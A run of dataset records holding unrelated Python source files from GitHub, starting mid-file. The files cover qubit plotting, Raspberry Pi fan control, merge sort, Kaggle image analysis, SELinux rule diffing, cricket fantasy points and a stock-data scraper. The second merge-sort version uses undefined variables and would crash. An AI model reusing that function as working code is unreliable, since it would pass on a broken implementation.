\"Visdom server not connected!\"\n            # added two environments \"seq_builder.json\", and \"live_plot.json\" in C:\\Users\\slab\\.visdom\n            eid = \"seq_builder\"\n            viz.close(win=None, env=eid)\n\n            for sequence_id in self.cfg[\"visdom_plot_seq_list\"]: #range(len(self.pulse_sequence_matrix)):\n\n                win = viz.line(\n                    X=np.arange(0, 1),\n                    Y=np.arange(0, 1),\n                    env=eid,\n                    opts=dict( height=750, width=1800, title='Seq #%d' % sequence_id, showlegend=True, xlabel='Time to origin (ns)'))\n\n                for waveform_key in self.waveforms_dict:\n\n                    viz.updateTrace(\n                        X= self.waveforms_tpts_dict[waveform_key] - self.psb.origin,\n                        Y= self.waveforms_dict[waveform_key][sequence_id] ,\n                        env=eid, win = win, name = waveform_key, append = False)\n\n\n    def reshape_data(self, data):\n        return np.reshape(data, (self.sequence_length, self.waveform_length))","repo_name":"SchusterLab/slab","sub_path":"slab/experiments/Alex/ExpLib/QubitPulseSequence.py","file_name":"QubitPulseSequence.py","file_ext":"py","file_size_in_byte":18355,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"42812305270","text":"# Importamos numpy\nimport numpy as np\n\n# Ejercicio 4\ndef ex4_jonathan_valle():\n    ## Generar numeros de 0 a 80 con una dimension de 4x3\n    a = np.random.randint(81, size=(4,3))\n    # Cambiar la matriz de 4x3 por 3x4\n    b = a.reshape(3,4)\n    # Eliminar la ultima columna de la matriz (axis=1) para indicar que es columna\n    c = np.delete(b, 3, axis=1)\n    # Obtenemos la ultima fila\n    i = c[-1,-1]\n    # Insertamos la fila obtenida a la ultima columna\n    fila = np.insert(c, 3, i, axis=1)\n    # Al retornar varios resultados, lo ponemos dentro de un parantesis y con una coma\n    return (a, b, c, fila)\nex4_jonathan_valle()\n","repo_name":"jgimenezbalmes/M7_UF2_practica9","sub_path":"exercici4_jonathanValle.py","file_name":"exercici4_jonathanValle.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"16463015605","text":"\n\nimport RPi.GPIO as GPIO\nimport time\nimport datetime\nimport pytz\n\nfrom threading import Thread\nimport _thread\nimport serial\n\nfanPin = 23\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(fanPin, GPIO.OUT)\n\nfanState = False\nGPIO.output(fanPin, GPIO.LOW)\n\ndef turnOnFan():\n    global fanState\n    GPIO.output(fanPin, GPIO.HIGH)\n    fanState = True   \n    print(\"turn on fan\") \n    \ndef turnOffFan():\n    global fanState\n    GPIO.output(fanPin, GPIO.LOW)\n    fanState = False\n    print(\"turn off fan\") \n\n\ndef get_cpu_temperature():\n    try:\n        tFile = open('/sys/class/thermal/thermal_zone0/temp')\n        temp = float(tFile.read())\n        tFile.close()\n        tempC = temp/1000\n        #print(tempC)\n        return tempC\n    except:\n        tFile.close()\n        GPIO.cleanup()\n\n\ndef fanAndTempLOOP():\n    while True:\n        if(fanState == False):\n            if(get_cpu_temperature() > 50):\n                turnOnFan()\n        if(fanState == True):\n            if(get_cpu_temperature() < 45):\n                turnOffFan()\n        time.sleep(1)\n    \n_thread.start_new_thread(fanAndTempLOOP, ())","repo_name":"qtechdesign/qtech","sub_path":"FPS/tools/firmware/qtech-lora-gateway/lib_fanAndTemp.py","file_name":"lib_fanAndTemp.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26996738101","text":"def mergeSort(arr):\n\t# 归并\n\tdef merge(left, right):\n\t\tresult = []\n\t\ti = j = 0\n\t\twhile i < len(left) and j < len(right):\n\t\t\tif left[i] <= right[j]:\n\t\t\t\tresult.append(left[i])\n\t\t\t\ti += 1\n\t\t\telse:\n\t\t\t\tresult.append(right[j])\n\t\t\t\tj += 1\n\t\tresult = result + left[i:] + right[j:] # 剩余的元素直接添加至末尾\n\t\treturn result\n\t# 递归\n\tif len(arr) <= 1:\n\t\treturn arr\n\tmid = len(arr) // 2\n\tleft = mergeSort(arr[:mid])\n\tright = mergeSort(arr[mid:])\n\treturn merge(left, right)\n\n\n# # 算法导论，可以运行，但未测试\ndef merge(A, p, q, r):\n\tN1 = A[p : q+1]\n\tN2 = A[q+1 : r+1]\n\tpointer = p\n\twhile N1 and N2:\n\t\tif N1[0] <= N2[0]:\n\t\t\tA[pointer] = N1.pop(0)\n\t\telse:\n\t\t\tA[pointer] = N2.pop(0)\n\t\tpointer += 1\n\ttail = N1 if N1 else N2 # 落单的那个\n\tfor last in tail:\n\t\tA[k] = last\n\t\tpointer += 1\n\ndef mergesort(A, p, r):\n\tif p < r:\n\t\tmid = (p+r-1) // 2\n\t\tmergesort(A, p, mid)\n\t\tmergesort(A, mid+1, r)\n\t\tmerge(A, p, q, r)\n","repo_name":"hookeyplayer/exercise.io","sub_path":"算法/笔记03_归并排序.py","file_name":"笔记03_归并排序.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72956235895","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\nimport sys\nimport os\nimport subprocess\nfrom six import string_types\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport scipy\nfrom skimage import io\nfrom scipy import ndimage\nfrom IPython.display import display\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom spectral import imshow\n\n\n\n\nget_ipython().system('ls -lha ../input')\n\n\n\n\nget_ipython().system('ls -lha ../input/test-tif-v2 | wc -l')\n\n\n\n\nPLANET_KAGGLE_ROOT = os.path.abspath(\"../input/\")\nPLANET_KAGGLE_JPEG_DIR = os.path.join(PLANET_KAGGLE_ROOT, 'train-jpg')\nPLANET_KAGGLE_LABEL_CSV = os.path.join(PLANET_KAGGLE_ROOT, 'train_v2.csv')\nassert os.path.exists(PLANET_KAGGLE_ROOT)\nassert os.path.exists(PLANET_KAGGLE_JPEG_DIR)\nassert os.path.exists(PLANET_KAGGLE_LABEL_CSV)\n\n\n\n\nlabels_df = pd.read_csv(PLANET_KAGGLE_LABEL_CSV)\nlabels_df.head()\n\n\n\n\n# Build list with unique labels\nlabel_list = []\nfor tag_str in labels_df.tags.values:\n    labels = tag_str.split(' ')\n    for label in labels:\n        if label not in label_list:\n            label_list.append(label)\n\n\n\n\n# Add onehot features for every label\nfor label in label_list:\n    labels_df[label] = labels_df['tags'].apply(lambda x: 1 if label in x.split(' ') else 0)\n# Display head\nlabels_df.head()\n\n\n\n\n# Histogram of label instances\nlabels_df[label_list].sum().sort_values().plot.bar()\n\n\n\n\ndef make_cooccurence_matrix(labels):\n    numeric_df = labels_df[labels]; \n    c_matrix = numeric_df.T.dot(numeric_df)\n    sns.heatmap(c_matrix)\n    return c_matrix\n\n# Compute the co-ocurrence matrix\nmake_cooccurence_matrix(label_list)\n\n\n\n\nweather_labels = ['clear', 'partly_cloudy', 'haze', 'cloudy']\nmake_cooccurence_matrix(weather_labels)\n\n\n\n\nland_labels = ['primary', 'agriculture', 'water', 'cultivation', 'habitation']\nmake_cooccurence_matrix(land_labels)\n\n\n\n\nrare_labels = [l for l in label_list if labels_df[label_list].sum()[l] < 2000]\nmake_cooccurence_matrix(rare_labels)\n\n\n\n\ndef sample_images(tags, n=None):\n    \"\"\"Randomly sample n images with the specified tags.\"\"\"\n    condition = True\n    if isinstance(tags, string_types):\n        raise ValueError(\"Pass a list of tags, not a single tag.\")\n    for lbl in label_list:\n        if lbl in tags:\n            condition = condition & (labels_df[lbl] == 1)\n        else:\n            condition = condition & (labels_df[lbl] == 0)\n    if n is not None:\n        return labels_df[condition].sample(n)\n    else:\n        return labels_df[condition]\n\n\n\n\nsample_images(['clear','primary'], n=10)\n\n\n\n\ndef load_image(filename):\n    '''Look through the directory tree to find the image you specified\n    (e.g. train_10.tif vs. train_10.jpg)'''\n    for dirname in os.listdir(PLANET_KAGGLE_ROOT):\n        path = os.path.abspath(os.path.join(PLANET_KAGGLE_ROOT, dirname, filename))\n        if os.path.exists(path):\n            #print('Found image {}'.format(path))\n            return io.imread(path)\n    # if you reach this line, you didn't find the image you're looking for\n    print('Load failed: could not find image {}'.format(path))\n    \ndef sample_to_fname(sample_df, row_idx, suffix='tif'):\n    '''Given a dataframe of sampled images, get the\n    corresponding filename.'''\n    fname = sample_df.get_value(sample_df.index[row_idx], 'image_name')\n    return '{}.{}'.format(fname, suffix)\n\ndef display_sample_im(tags, n=None):\n    s = sample_images(tags, n=n)\n    if n is None:\n        n=0\n    for i in range(n):\n        fname = sample_to_fname(s.iloc[i], 0)\n        rgbn_image = load_image(fname)\n        imshow(rgbn_image[:,:,:3])\n    return rgbn_image, s\n    \n    \n\n\n\n\nim, s = display_sample_im(['primary', 'clear'], n=4);\ns\n\n\n\n\nim_m = np.vstack([im[i*16:(i+1)*16,j*16:(j+1)*16,0].ravel() for i in range(16) for j in range(16)])\ncov = np.cov(im_m)\neigen_value, eigen_vector = np.linalg.eig(cov)\neigen_value = eigen_value.reshape(-1,1)\nsignificance_ind = eigen_value.argsort(axis=0)[::-1]\neigen_value[significance_ind[:,0]]\n# The n_th eigen vector\nn = 0\ni = significance_ind[n,0]\nfeature = eigen_vector[:,i:i+1].T\nfinaldata = np.dot(feature,im_m).T\nfirst_eigen_image = np.dot(feature.T,finaldata.T).T\nplt.imshow(im[0:16,0:16,0]);\nplt.figure()\nplt.imshow(finaldata.reshape(16,16));\nplt.figure()\nplt.imshow(first_eigen_image)\n\n\n\n\ndef calibrate_image(rgb_image):\n   ref_stds = [41.262260630543992, 35.759466445746916, 33.383302346657047]\n   ref_means = [80.198569793701168, 87.701977996826173, 76.552578582763672]\n   \n   # Transform test image to 32-bit floats to avoid \n   # surprises when doing arithmetic with it \n   calibrated_img = rgb_image.copy().astype('float32')\n\n   # Loop over RGB\n   for i in range(3):\n       # Subtract mean \n       calibrated_img[:,:,i] = calibrated_img[:,:,i]-np.mean(calibrated_img[:,:,i])\n       # Normalize variance\n       calibrated_img[:,:,i] = calibrated_img[:,:,i]/np.std(calibrated_img[:,:,i])\n       # Scale to reference \n       calibrated_img[:,:,i] = calibrated_img[:,:,i]*ref_stds[i] + ref_means[i]\n       # Clip any values going out of the valid range\n       calibrated_img[:,:,i] = np.clip(calibrated_img[:,:,i],0,255)\n\n   # Convert to 8-bit unsigned int\n   return calibrated_img.astype('uint8')\n\n\n\n\n\n\n","repo_name":"aorursy/lost-nb","sub_path":"bastiaanbergman_getting-started-with-the-data.py","file_name":"bastiaanbergman_getting-started-with-the-data.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2616794660","text":"from collections import defaultdict, namedtuple\n\nfrom ..policyrep import MLSRuletype\nfrom .descriptors import DiffResultDescriptor\nfrom .difference import Difference, SymbolWrapper, Wrapper\nfrom .mls import RangeWrapper\n\n\nmodified_mlsrule_record = namedtuple(\"modified_mlsrule\", [\"rule\",\n                                                          \"added_default\",\n                                                          \"removed_default\"])\n\n\nclass MLSRulesDifference(Difference):\n\n    \"\"\"Determine the difference in MLS rules between two policies.\"\"\"\n\n    added_range_transitions = DiffResultDescriptor(\"diff_range_transitions\")\n    removed_range_transitions = DiffResultDescriptor(\"diff_range_transitions\")\n    modified_range_transitions = DiffResultDescriptor(\"diff_range_transitions\")\n\n    # Lists of rules for each policy\n    _left_mls_rules = defaultdict(list)\n    _right_mls_rules = defaultdict(list)\n\n    def diff_range_transitions(self):\n        \"\"\"Generate the difference in range_transition rules between the policies.\"\"\"\n\n        self.log.info(\n            \"Generating range_transition differences from {0.left_policy} to {0.right_policy}\".\n            format(self))\n\n        if not self._left_mls_rules or not self._right_mls_rules:\n            self._create_mls_rule_lists()\n\n        added, removed, matched = self._set_diff(\n                self._expand_generator(self._left_mls_rules[MLSRuletype.range_transition],\n                                       MLSRuleWrapper),\n                self._expand_generator(self._right_mls_rules[MLSRuletype.range_transition],\n                                       MLSRuleWrapper))\n\n        modified = []\n\n        for left_rule, right_rule in matched:\n            # Criteria for modified rules\n            # 1. change to default range\n            if RangeWrapper(left_rule.default) != RangeWrapper(right_rule.default):\n                modified.append(modified_mlsrule_record(left_rule,\n                                                        right_rule.default,\n                                                        left_rule.default))\n\n        self.added_range_transitions = added\n        self.removed_range_transitions = removed\n        self.modified_range_transitions = modified\n\n    #\n    # Internal functions\n    #\n    def _create_mls_rule_lists(self):\n        \"\"\"Create rule lists for both policies.\"\"\"\n        # do not expand yet, to keep memory\n        # use down as long as possible\n        self.log.debug(\"Building MLS rule lists from {0.left_policy}\".format(self))\n        for rule in self.left_policy.mlsrules():\n            self._left_mls_rules[rule.ruletype].append(rule)\n\n        self.log.debug(\"Building MLS rule lists from {0.right_policy}\".format(self))\n        for rule in self.right_policy.mlsrules():\n            self._right_mls_rules[rule.ruletype].append(rule)\n\n        self.log.debug(\"Completed building MLS rule lists.\")\n\n    def _reset_diff(self):\n        \"\"\"Reset diff results on policy changes.\"\"\"\n        self.log.debug(\"Resetting MLS rule differences\")\n        self.added_range_transitions = None\n        self.removed_range_transitions = None\n        self.modified_range_transitions = None\n\n        # Sets of rules for each policy\n        self._left_mls_rules.clear()\n        self._right_mls_rules.clear()\n\n\nclass MLSRuleWrapper(Wrapper):\n\n    \"\"\"Wrap MLS rules to allow set operations.\"\"\"\n\n    __slots__ = (\"ruletype\", \"source\", \"target\", \"tclass\")\n\n    def __init__(self, rule):\n        self.origin = rule\n        self.ruletype = rule.ruletype\n        self.source = SymbolWrapper(rule.source)\n        self.target = SymbolWrapper(rule.target)\n        self.tclass = SymbolWrapper(rule.tclass)\n        self.key = hash(rule)\n\n    def __hash__(self):\n        return self.key\n\n    def __lt__(self, other):\n        return self.key < other.key\n\n    def __eq__(self, other):\n        # because MLSRuleDifference groups rules by ruletype,\n        # the ruletype always matches.\n        return self.source == other.source and \\\n               self.target == other.target and \\\n               self.tclass == other.tclass\n","repo_name":"TresysTechnology/setools","sub_path":"setools/diff/mlsrules.py","file_name":"mlsrules.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"22"}
+{"seq_id":"28164529050","text":"def read_file(file_name: str, what=None) -> dict:\n    res = {}\n    with open(file_name) as fp:\n        for line in fp:\n            split = line.split(\";\")\n            if split[0] == \"id\":\n                continue\n            if what == None:\n                res[int(split[0])] = [int(nb) for nb in split[1:]]\n            elif what == \"students\":\n                res[int(split[0])] = split[1] + \" \" + split[2].strip()\n    return res\n\n\ndef get_final_grade(points: int) -> int:\n    values = [14, 17, 20, 23, 27]\n    for i in range(5):\n        if points <= values[i]:\n            return i\n    return 5\n\n\nstudent_file = input(\"Student information: \")\nexercises_file = input(\"Exercises completed: \")\nexam_file = input(\"Exam points: \")\ncourse_file = input(\"Course information: \")\nwith open(\"course1.txt\") as course_file:\n    course = course_file.readline().split(\":\")[1].strip()\n    print(course)\n    credits = int(course_file.readline().split(\":\")[1])\nwith open(\"results.txt\", \"w\") as res_txt, open(\"results.csv\", \"w\") as res_csv:\n    header = f\"{course}, {credits} credits\"\n    res_txt.write(f\"{header}\\n{'=' * len(header)}\\n\")\n    headers = [\"name\", \"exec_nbr\", \"exec_pts.\",\n               \"exm_pts.\", \"tot_pts.\", \"grade\"]\n    res_txt.write(f\"{headers[0]:30}\")\n    res_txt.write(\"\".join(f\"{header:10}\" for header in headers[1:]))\n    for id, name in read_file(student_file, \"students\").items():\n        exerc = sum(read_file(exercises_file)[id])\n        exams = sum(read_file(exam_file)[id])\n        res_txt.write(f\"\\n{name:30}{exerc:<10}{exerc//4:<10}{exams:<10}\"\n                      f\"{exerc//4 + exams:<10}\"\n                      f\"{get_final_grade(exerc//4 + exams):<10}\")\n        res_csv.write(f\"{id};{name};{get_final_grade(exerc//4 + exams)}\\n\")\nprint(\"Results written to files results.txt and results.csv\")\n","repo_name":"P10r10/Python-Programming-Week-6","sub_path":"course_grading_part_4.py","file_name":"course_grading_part_4.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17707148759","text":"# 조건\n\"\"\"\n1. 프로그램 실행 시간을 1/1000초 단위로 계산하기 # ms로 계산하라는 의미\n2. datetime 모듈을 사용하기\n3. datetime 모듈의 datetime 객체를 임포트하여 사용하기\n4. ret 변수에 1부터 백만까지 더한 결과를 담을 변수로 사용한다.\n5. 1부터 백만까지의 더하는 루틴은 for 문을 사용한다.\n6. 1에서부터 백만까지 더한 결과를 화면에 print를 통해 출력한다.\n7. 결과\n    1부터 백만까지 더합니다.\n    1부터 백만까지 더한 결과 : 499999500000 # 백만까지 더한게 아니라 99만9999까지 더한 값\n    총 계산 시간 : 0:00:00.124968\n    총 계산 시간 : 124ms\n\"\"\"\n\nfrom datetime import datetime\n\nret = 0\n\nfor i in range(1,1000000) :\n    if i == 1 :\n        print(\"1부터 백만까지 더합니다.\")\n        start = datetime.now()\n    ret += i\n    if i == 999999 :\n        end = datetime.now() - start\n        print(\"1부터 백만까지 더한 결과 : {}\".format(ret))\n        print(\"총 계산 시간 : {}\".format(end))\n        print(\"총 계산 시간 : {}ms\".format(round(end.microseconds*0.001)))","repo_name":"GyuminGomin/Python-study","sub_path":"01.Python program coding/01~10/03.1부터 백만까지 더하는 프로그램 실행 시간 계산하기.py","file_name":"03.1부터 백만까지 더하는 프로그램 실행 시간 계산하기.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2979998463","text":"file = open(\"Day10.txt\")\n\ndata = []\nfor line in file:\n    val = int(line[:-1])\n    data.append(val)\n\ndata.sort()\ndata.append(max(data)+3)\n\nlast = 0\n_1count = 0\n_3count = 0\nfor d in data:\n    if (d - last == 1): _1count += 1\n    elif (d - last == 3): _3count += 1\n    else: print (\"!!!\")\n    last = d\n\nprint (f\"1-diff: {_1count}\")\nprint (f\"3-diff: {_3count}\")\nprint (_3count * _1count)\n","repo_name":"RexTremendae/AdventOfCode","sub_path":"archive/Source/2020/Day10_1.py","file_name":"Day10_1.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"999058336","text":"'''A collection of graph algorithms\n\nCurrently assumes directed graphs.\n'''\n\nfrom collections import deque\n\ndef floyd_warshall(graph):\n    '''All-pairs shortest paths\n    '''\n    pass\n\ndef bfs(graph, source, sink):\n    '''Return a list of edges from source to sink, or None.\n    \n    Requires\n        graph.children\n        edge labels\n    '''\n    queue = deque([source])\n    prevs = {source: None}\n\n    while queue:\n        cur = queue.popleft()\n        if cur == sink:\n            break\n        for b in graph.children(cur):\n            if b not in prevs:\n                prevs[b] = cur\n                queue.append(b)\n    else:\n        return None\n\n    path, here = [], sink\n    while here != source:\n        path.append((prevs[here], here))\n        here = prevs[here]\n    return list(reversed(path))\n\n\ndef max_flow(graph, source, sink):\n    '''Max flow of digraph\n    \n    Requires\n        digraph.copy\n        digraph.children\n        edge labels\n    '''\n    resid = graph.copy()\n    total_flow = 0\n\n    while True:\n        path = bfs(resid, source, sink)\n        if path is None:\n            break\n\n        flow = min(resid[a:b] for a, b in path)\n\n        for a, b in path:\n            if (b, a) not in resid.edges():\n                resid[b:a] = 0\n            resid[a:b] -= flow\n            resid[b:a] += flow\n            if resid[a:b] == 0:\n                resid.pop_edge(a, b)\n\n        total_flow += flow\n\n    return total_flow\n\n","repo_name":"apribadi/practicum","sub_path":"feeding/sgraph/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"28457292599","text":"# will later add player roles to get much deeper insights\n\nimport os\nos.chdir(r'C:\\\\Users\\\\santosh\\\\PycharmProjects\\\\Cricket')\n\nimport numpy as np\nimport pandas as pd\npd.set_option('display.max_columns',40)\npd.set_option('display.max_rows',1000)\n\nmatches = pd.read_csv('IPL_matches.csv')\ndeliveries_including_superovers = pd.read_csv('IPL_deliveries.csv')\n\ndeliveries = deliveries_including_superovers[(deliveries_including_superovers['innings'] == '1st innings') | (deliveries_including_superovers['innings'] == '2nd innings')]\nmd = matches.merge(deliveries)\n\nbatsmanscores = md.groupby(['season', 'match_id', 'striker'], sort=False).agg(np.sum)\nbatsmanscores = batsmanscores[['batsman_runs']]\nbatsmanscores.reset_index(inplace=True)\nbatsmanscores.rename(columns={'striker': 'player'}, inplace=True)\n\nbowlerprep = md[(md['kind_of_dismissal'] != 'run out') & (md['kind_of_dismissal'] != 'retired hurt') & (md['kind_of_dismissal'] != 'obstructing the field')]\nbowlerscores = bowlerprep.groupby(['season', 'match_id', 'bowler'], sort=False).agg(np.sum)\nbowlerscores = bowlerscores[['wicket']]\nbowlerscores.reset_index(inplace=True)\nbowlerscores.rename(columns={'bowler': 'player'}, inplace=True)\n\nfielderprep = md.copy()\n#\"Caught and bowled\" wicket deliveries have fielder column empty which must have the value of bowler himself\nfielderprep['fielders'] = np.where(fielderprep['kind_of_dismissal']=='caught and bowled', fielderprep['bowler'], fielderprep['fielders'])\n\nfielderprep = fielderprep.groupby(['season', 'match_id', 'bowler', 'kind_of_dismissal', 'fielders']).agg(np.sum)\nfielderprep.reset_index(inplace =True)\nfielderprep = fielderprep.drop(['win_by_runs', 'win_by_wickets', 'delivery', 'wides', 'legbyes',\n       'noballs', 'byes', 'penalty', 'non_boundary', 'batsman_runs',\n       'extra_runs', 'total_runs', 'wicket'], axis=1)\nfielderprep['fielders'] = fielderprep['fielders'].str.replace('[','').str.replace(']','').str.replace(\"'\",\"\")\n\nfielderprep.drop('bowler', axis =1, inplace = True)\nfielderprep.rename(columns={'fielders':'player'}, inplace=True)\n\n# There are no points for substitutes, let's remove those rows.\nfor i, j in zip(fielderprep.index, fielderprep['player']):\n    if '(sub)' in j:\n        fielderprep.drop(i, inplace=True)\n\n        fielderprep['fielding_points'] = np.where(fielderprep['kind_of_dismissal']=='caught', 8, 0)\nfielderprep['fielding_points'] = np.where(fielderprep['kind_of_dismissal']=='caught and bowled', 8, fielderprep['fielding_points'])\nfielderprep['fielding_points'] = np.where(fielderprep['kind_of_dismissal']=='stumped', 12, fielderprep['fielding_points'])\n\n# assigning points for direct hits\ncondition = (fielderprep['kind_of_dismissal']=='run out') & (fielderprep['player'].str.split(',').str.len()==1)\nfielderprep['fielding_points'] = np.where(condition, 12, fielderprep['fielding_points'])\n\n# assigning points for non-direct hits\nfielderprep = fielderprep.assign(player=fielderprep['player'].str.split(',')).explode('player')\nfielderprep['fielding_points'] = np.where(fielderprep['fielding_points']==0,6,fielderprep['fielding_points'])\nfieldingscores = fielderprep.groupby(['season', 'match_id', 'player']).agg(np.sum).reset_index()\nfieldingscores['player'] = fieldingscores['player'].str.strip()\nmatchteam_bb = batsmanscores.merge(bowlerscores, left_on=['season', 'match_id', 'player'], right_on=['season', 'match_id', 'player'], how='outer')\n\nmatchteam_bb.rename(columns={'batsman_runs': 'player_runs', 'wicket': 'player_wickets'}, inplace=True)\nmatchteam_bb.fillna(0, inplace=True)\nmatchteam = matchteam_bb.merge(fieldingscores,  left_on=['season', 'match_id', 'player'], right_on=['season', 'match_id', 'player'], how='outer')\nmatchteam.fillna(0, inplace=True)\n\n# making points columns\nmatchteam['runs_points'] = np.where((matchteam['player_runs'] >= 50) & (matchteam['player_runs'] < 100), matchteam['player_runs']+8, matchteam['player_runs'])\nmatchteam['runs_points'] = np.where(matchteam['player_runs'] >= 100, matchteam['player_runs']+16, matchteam['runs_points'])\nmatchteam['runs_points'] = np.where(matchteam['player_runs'] == 0, -2, matchteam['runs_points'])\n\nmatchteam['bowling_points'] = np.where(matchteam['player_wickets'] >= 4, (matchteam['player_wickets']*25)+16, matchteam['player_wickets']*25)\n\nmatchteam['total_points'] = matchteam['runs_points'] + matchteam['bowling_points'] + matchteam['fielding_points']\n\n# dreamteams for matches\nseason_list = []\nmatch_num = []\nplayer_name = []\nrun_points = []\nbowl_points = []\nfield_points = []\nplayer_points = []\n\n# I tried sorting, that messes up the grouped matches, so now we take in each match and then sort.\n# Then we append top 11 players and their points to lists.\n\nfor i in matchteam['match_id'].unique():\n    tempdf = matchteam[matchteam['match_id'] == i]\n    topelevendf = tempdf.nlargest(11, 'total_points')\n    for j in list(topelevendf['match_id']):\n        match_num.append(j)\n    for k in list(topelevendf['player']):\n        player_name.append(k)\n    for l in list(topelevendf['total_points']):\n        player_points.append(l)\n    for m in list(topelevendf['season']):\n        season_list.append(m)\n    for n in list(topelevendf['runs_points']):\n        run_points.append(n)\n    for o in list(topelevendf['bowling_points']):\n        bowl_points.append(o)\n    for p in list(topelevendf['fielding_points']):\n        field_points.append(p)\ndreamteamdf = pd.DataFrame({'season': season_list, 'match_id': match_num, 'player': player_name,\n                            'runs_points': run_points,'bowling_points': bowl_points, 'fielding_points': field_points,\n                            'total_points': player_points})\n\n# using IPL_Players dataset to add a column of DOB for matchteam\nos.chdir(r'C:\\\\Users\\\\santosh\\\\PycharmProjects\\\\Cricket')\nipl_players = pd.read_csv('IPL_Players.csv')\nipl_players.drop(['Age', 'Teams', 'Matches', 'Runs', 'Bat avg', 'Wickets',\n                  'Bowl avg', 'PlayerID'], axis=1, inplace=True)\nipl_players.rename(columns={'Name': 'player'}, inplace=True)\nipl_players['DOB'] = pd.to_datetime(ipl_players['DOB'])\n\nmatchteammergedf = matchteam.merge(ipl_players, how='outer', left_on='player', right_on='player')\nmatchteammergedf = matchteammergedf.loc[0:17650, :]  # removing a few NA rows at the bottom arising out of merging\nmatchteammergedf['season'] = pd.to_datetime(matchteammergedf['season'], format='%Y')\nmatchteammergedf['matchday_player_age'] = (matchteammergedf['season'] - matchteammergedf['DOB']).astype('<m8[Y]')\n# Just accomplished a cool thing, we have age as on match day for all players for all matches\n\n# using IPL_Players dataset to add a column of DOB for dreamteamdf too\n\ndreamteamdfmerge = dreamteamdf.merge(ipl_players, how='inner')\ndreamteamdfmerge['season'] = pd.to_datetime(dreamteamdfmerge['season'], format='%Y')\ndreamteamdfmerge['matchday_player_age'] = (dreamteamdfmerge['season'] - dreamteamdfmerge['DOB']).astype('<m8[Y]')\n\nos.chdir(r'C:\\\\Users\\\\santosh\\\\PycharmProjects\\\\Cricket')\nmatchteammergedf.to_csv('IPL_matchwise_player_points.csv', index=False)\n\nos.chdir(r'C:\\\\Users\\\\santosh\\\\PycharmProjects\\\\Cricket')\ndreamteamdfmerge.to_csv('IPL_historical_dreamteams.csv', index=False)\n","repo_name":"santosh7a/cricketviz","sub_path":"IPL_HistoricalDreamTeams.py","file_name":"IPL_HistoricalDreamTeams.py","file_ext":"py","file_size_in_byte":7172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29099495135","text":"\r\n\r\n# This is a program to predict the stock price in the ugandan stock market\r\nimport csv\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nfrom csv import writer\r\nimport time\r\n# Getting data from Uganda Securities Exchange\r\nurl='https://www.use.or.ug/content/market-snapshot'\r\nresponse = requests.get(url)\r\nsoup = BeautifulSoup(response.text,'html.parser')\r\n\r\n# Assigning a name to the data\r\nfilename ='use data.csv'\r\ncsv_writer = csv.writer(open(filename,'w'))\r\n\r\n# Making sure that the file gets updated by using time as a constraint\r\ntimestr1 = time.strftime(\"%Y%m%d-%H%M%S\")\r\nchanged_filename = filename.split(\".\")[0]+timestr1+\".\"+filename.split(\".\")[1]\r\nprint(changed_filename)\r\n\r\n# Getting the data from the table in the U.S.E site ie. Market snapshot\r\nfor tr in soup.find_all('tr'):\r\n    data =[]\r\n\r\n    for th in tr.find_all('th'):\r\n        data.append(th.text)\r\n\r\n    if data:\r\n        print(\"Inserting Headers:{}\".format(','.join(data)))\r\n        csv_writer.writerow(data)\r\n        continue\r\n\r\n    for td in tr.find_all('td'):\r\n        data.append(td.text.strip())\r\n\r\n    if data:\r\n        print(\"Inserting Table Data:{}\".format(','.join(data)))\r\n        csv_writer.writerow(data)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Namrod16127/E-broker_csvs","sub_path":"data_fetch.py","file_name":"data_fetch.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
